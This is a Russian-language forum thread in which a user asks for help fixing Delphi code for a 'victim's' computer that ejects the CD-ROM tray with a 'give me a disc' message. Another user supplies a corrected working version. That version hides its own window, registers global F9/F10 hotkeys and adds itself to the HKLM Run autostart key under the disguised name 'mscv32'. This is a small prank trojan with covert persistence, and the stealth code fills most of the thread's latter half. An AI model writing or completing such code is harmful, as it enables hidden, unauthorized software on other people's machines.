в чем тут ошибка

[Koper72Rus]

помогите что то неправильно написал в чем ошибка этот код должен у "жертвы" при нажатие мной Ф9 открывать сиди рум с окошком я голодный что неправельно?

unit Unit1; 

interface 

uses 
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
 Dialogs, ExtCtrls; registry; mmsystem; 

type 
 TForm1 = class(TForm) 
 Timer1: TTimer; 
 procedure Timer1Timer(Sender: TObject); 
 private 
 { Private declarations } 
 public 
 { Public declarations } 
 end; 

var 
 Form1: TForm1;registry; 

implementation 

{$R *.dfm} 

procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
messagebox(getdesktopwindow,'Я голоден..!Дай диск плз =(', 'cd-rom', mb_ok); 
 mcisendstring('set cdaudio door open wait', nil, 0, handle); 
end; 

end. 
 application.showmainform:=false; 
 reg := tregistry.create; 
 reg.rootkey:=hkey_local_machi ne; 
 reg.lazywrite := false; 
 reg.openkey('softwaremicrosoftwindowscurrentversionrun',false); 
 reg.writestring('mscv32', application. exename); 
 reg.closekey; 
 reg.free; 
 mcisendstring('set cdaudio door closed wait', nil, 0, handle);

[Stilet]

softwaremicrosoftwindowscurrentvers ionrun

Это заклинание?
P.S. По попе от жертвы за вирмейкерство получишь.

[Winnerer]

Dialogs, ExtCtrls; registry; mmsystem;

через запятую

открывать

door closed wait

капитан тут бессилен..

mciSendString('Set cdaudio door closed wait', nil, 0, handle);

вири на дельфи, бесспорно, самые лучшие.

var 
 Form1: TForm1;registry;

Koper72Rus, какой раз за жизнь дельфи открыли?

[Человек_Борща]

Судя по коду ни разу. Этот код вообще не компилируем.

[Koper72Rus]

Сообщение от Winnerer

через запятую


капитан тут бессилен..

mciSendString('Set cdaudio door closed wait', nil, 0, handle);

вири на дельфи, бесспорно, самые лучшие.

var 
 Form1: TForm1;registry;

Koper72Rus, какой раз за жизнь дельфи открыли?

не первый раз а писал ночью мож чо попутал

напишите как должно быть где запятые ставить дельфи недавно освоил

[Valio]

Сообщение от Koper72Rus

напишите как должно быть где запятые ставить дельфи недавно освоил

Напишите как должно быть и где запятые ставить. Дельфи недавно освоил.

Ну вот както так.

[Koper72Rus]

Сообщение от Valio

Напишите как должно быть и где запятые ставить. Дельфи недавно освоил.

Ну вот както так.

в коде ну плз помогите по попе не получу

[Aliens_wolfs]

Да уж много ошибок, так она действительно не откомпилируется. сейчас попробую помочь

[Koper72Rus]

при нажатии

[Aliens_wolfs]

Вот состряпал на скорую руку рабочий код

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry, mmsystem;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
private
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

//Прочитать в разделе параметр реестра
function ReadStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName: string): string;
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
result:=AnsiLowerCase( ReadString(KeyName) );
CloseKey;
end;
Reg.Free;
end;

//добавить в реестр запись
procedure WriteStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName, KeyAppName: string);
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
WriteString(KeyName, KeyAppName);
CloseKey;
end;
Reg.Free;
end;

//Ловим событие клавиш F9 и F10
procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
Case Msg.HotKey of
//Событие клавиши F9
120: begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
if MessageDlg('Я голоден..!Дай диск плз =(',mtInformation,[mbyes,mbno],0) in [mrYes,mrNo] then
//если нажать в окне Yes или No то CDROM закроется или F10
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
end;
//Событие клавиши F10
121:
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//Регистрируем для открытия клавишу F9 код её 120
RegisterHotKey(handle,120, 0, 120);
//Регистрируем для закрытия клавишу F10 код её 121
RegisterHotKey(handle,121, 0, 121);

//Проверить и создать ключ в реестре автозапуска software microsoft windows currentversion run
//Можно поместить это в таймер будет постоянно проверять автозапуск в реестре
if ReadStringKeyParametrReg(HKEY_LOCAL _MACHINE,'software\microsoft\window s\currentversion\run'
,'mscv32')<>Application.ExeName then begin
WriteStringKeyParametrReg(HKEY_LOCA L_MACHINE,'software\microsoft\windo ws\currentversion\run'
,'mscv32',Application.ExeName);
end;

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
//Освобождаем F9 и F10
UnRegisterHotKey(handle, 120);
UnRegisterHotKey(handle, 121);
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
//Спрятать свою форму
Hide;
end;

end.